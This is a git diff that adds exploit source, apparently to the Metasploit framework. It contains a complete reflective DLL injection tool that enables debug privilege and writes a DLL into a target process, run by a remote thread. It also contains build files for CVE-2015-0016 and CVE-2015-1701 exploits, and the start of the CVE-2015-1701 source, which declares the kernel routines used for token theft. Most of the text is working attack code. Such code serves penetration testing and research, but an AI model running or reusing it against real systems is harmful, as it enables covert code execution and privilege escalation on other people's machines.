retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "LoadLibraryR.h" + +#pragma comment(lib,"Advapi32.lib") + +#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } + +// Simple app to inject a reflective DLL into a process vis its process ID. +int main( int argc, char * argv[] ) +{ + HANDLE hFile = NULL; + HANDLE hModule = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LPVOID lpBuffer = NULL; + DWORD dwLength = 0; + DWORD dwBytesRead = 0; + DWORD dwProcessId = 0; + TOKEN_PRIVILEGES priv = {0}; + +#ifdef WIN_X64 + char * cpDllFile = "reflective_dll.x64.dll"; +#else +#ifdef WIN_X86 + char * cpDllFile = "reflective_dll.dll"; +#else WIN_ARM + char * cpDllFile = "reflective_dll.arm.dll"; +#endif +#endif + + do + { + // Usage: inject.exe [pid] [dll_file] + + if( argc == 1 ) + dwProcessId = GetCurrentProcessId(); + else + dwProcessId = atoi( argv[1] ); + + if( argc >= 3 ) + cpDllFile = argv[2]; + + hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if( hFile == INVALID_HANDLE_VALUE ) + BREAK_WITH_ERROR( "Failed to open the DLL file" ); + + dwLength = GetFileSize( hFile, NULL ); + if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); + if( !lpBuffer ) + BREAK_WITH_ERROR( "Failed to get the DLL file size" ); + + if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) + BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); + + if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) + { + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) + AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); + + CloseHandle( hToken ); + } + + hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); + if( !hProcess ) + BREAK_WITH_ERROR( "Failed to open the target process" ); + + hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); + if( !hModule ) + BREAK_WITH_ERROR( "Failed to inject the DLL" ); + + printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); + + WaitForSingleObject( hModule, -1 ); + + } while( 0 ); + + if( lpBuffer ) + HeapFree( GetProcessHeap(), 0, lpBuffer ); + + if( hProcess ) + CloseHandle( hProcess ); + + return 0; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c new file mode 100755 index 0000000000..db73903ff7 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.c @@ -0,0 +1,234 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "LoadLibraryR.h" +#include +//===============================================================================================// +DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) +{ + WORD wIndex = 0; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + PIMAGE_NT_HEADERS pNtHeaders = NULL; + + pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + if( dwRva < pSectionHeader[0].PointerToRawData ) + return dwRva; + + for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) + { + if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) + return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); + } + + return 0; +} +//===============================================================================================// +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) +{ + UINT_PTR uiBaseAddress = 0; + UINT_PTR uiExportDir = 0; + UINT_PTR uiNameArray = 0; + UINT_PTR uiAddressArray = 0; + UINT_PTR uiNameOrdinals = 0; + DWORD dwCounter = 0; +#ifdef WIN_X64 + DWORD dwCompiledArch = 2; +#else + // This will catch Win32 and WinRT. + DWORD dwCompiledArch = 1; +#endif + + uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; + + // get the File Offset of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // currenlty we can only process a PE file which is the same type as the one this fuction has + // been compiled as, due to various offset in the PE structures being defined at compile time. + if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 + { + if( dwCompiledArch != 1 ) + return 0; + } + else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 + { + if( dwCompiledArch != 2 ) + return 0; + } + else + { + return 0; + } + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the File Offset of the export directory + uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); + + // get the File Offset for the array of name pointers + uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); + + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // get the File Offset for the array of name ordinals + uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); + + // get a counter for the number of exported functions... + dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; + + // loop through all the exported functions to find the ReflectiveLoader + while( dwCounter-- ) + { + char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); + + if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) + { + // get the File Offset for the array of addresses + uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); + + // use the functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // return the File Offset to the ReflectiveLoader() functions code... + return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); + } + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + + return 0; +} +//===============================================================================================// +// Loads a DLL image from memory via its exported ReflectiveLoader function +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwOldProtect1 = 0; + DWORD dwOldProtect2 = 0; + REFLECTIVELOADER pReflectiveLoader = NULL; + DLLMAIN pDllMain = NULL; + + if( lpBuffer == NULL || dwLength == 0 ) + return NULL; + + __try + { + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( dwReflectiveLoaderOffset != 0 ) + { + pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... + // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region + if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) + { + // call the librarys ReflectiveLoader... + pDllMain = (DLLMAIN)pReflectiveLoader(); + if( pDllMain != NULL ) + { + // call the loaded librarys DllMain to get its HMODULE + if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) + hResult = NULL; + } + // revert to the previous protection flags... + VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); + } + } + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hResult = NULL; + } + + return hResult; +} +//===============================================================================================// +// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function +// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +// defined in order to use the correct RDI prototypes. +// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | +// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ +// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. +// Note: This function currently cant inject accross architectures, but only to architectures which are the +// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) +{ + BOOL bSuccess = FALSE; + LPVOID lpRemoteLibraryBuffer = NULL; + LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; + HANDLE hThread = NULL; + DWORD dwReflectiveLoaderOffset = 0; + DWORD dwThreadId = 0; + + __try + { + do + { + if( !hProcess || !lpBuffer || !dwLength ) + break; + + // check if the library has a ReflectiveLoader... + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); + if( !dwReflectiveLoaderOffset ) + break; + + // alloc memory (RWX) in the host process for the image... + lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteLibraryBuffer ) + break; + + // write the image into the host process... + if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) + break; + + // add the offset to ReflectiveLoader() to the remote library address... + lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); + + // create a remote thread in the host process to call the ReflectiveLoader! + hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); + + } while( 0 ); + + } + __except( EXCEPTION_EXECUTE_HANDLER ) + { + hThread = NULL; + } + + return hThread; +} +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h new file mode 100755 index 0000000000..d8419858a9 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/LoadLibraryR.h @@ -0,0 +1,41 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H +//===============================================================================================// +#include "ReflectiveDLLInjection.h" + +DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); + +HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); + +HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h new file mode 100755 index 0000000000..8d7fda1106 --- /dev/null +++ b/external/source/exploits/cve-2015-0016/inject/src/ReflectiveDLLInjection.h @@ -0,0 +1,53 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2015-0016/rdi.sln b/external/source/exploits/cve-2015-0016/rdi.sln new file mode 100755 index 0000000000..48a6d7b81f --- /dev/null +++ b/external/source/exploits/cve-2015-0016/rdi.sln @@ -0,0 +1,44 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|ARM = Release|ARM + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 + {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 + {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-1701/.gitignore b/external/source/exploits/cve-2015-1701/.gitignore new file mode 100755 index 0000000000..7649d7f46b --- /dev/null +++ b/external/source/exploits/cve-2015-1701/.gitignore @@ -0,0 +1,151 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets +!packages/*/build/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +# ========================= +# Windows detritus +# ========================= + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701.sln b/external/source/exploits/cve-2015-1701/cve-2015-1701.sln new file mode 100755 index 0000000000..cb44c647d2 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{68E70ED4-1C36-46C1-8B45-E7CB546B62CA}") = "cve-2015-1701", "cve-2015-1701\cve-2015-1701.vcxproj", "{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.ActiveCfg = Debug|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.Build.0 = Debug|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.ActiveCfg = Debug|x64 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.Build.0 = Debug|x64 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.ActiveCfg = Release|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.Build.0 = Release|Win32 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.ActiveCfg = Release|x64 + {24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c new file mode 100755 index 0000000000..c1d7815f83 --- /dev/null +++ b/external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c @@ -0,0 +1,570 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2015 +* +* TITLE: MAIN.C +* +* VERSION: 1.00 +* +* DATE: 10 May 2015 +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +//Disable nonmeaningful warnings. +#pragma warning(disable: 4005) // macro redefinition +#pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s +#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union + +#define _CRT_SECURE_NO_WARNINGS +#define OEMRESOURCE + +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include +#include "cve-2015-1701.h" + +#define TYPE_WINDOW 1 +#define HMUNIQSHIFT 16 + +typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p); +typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)( + IN HANDLE ProcessId, + OUT PVOID Process +); + +typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)( + _Inout_ PVOID Process +); + +typedef PVOID PHEAD; + +typedef struct _HANDLEENTRY { + PHEAD phead; // Pointer to the Object. + PVOID pOwner; // PTI or PPI + BYTE bType; // Object handle type + BYTE bFlags; // Flags + WORD wUniq; // Access count. +} HANDLEENTRY, *PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; + // incomplete +} SERVERINFO, *PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; + // incomplete +} SHAREDINFO, *PSHAREDINFO; + +static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow"); + +lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL; +lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL; 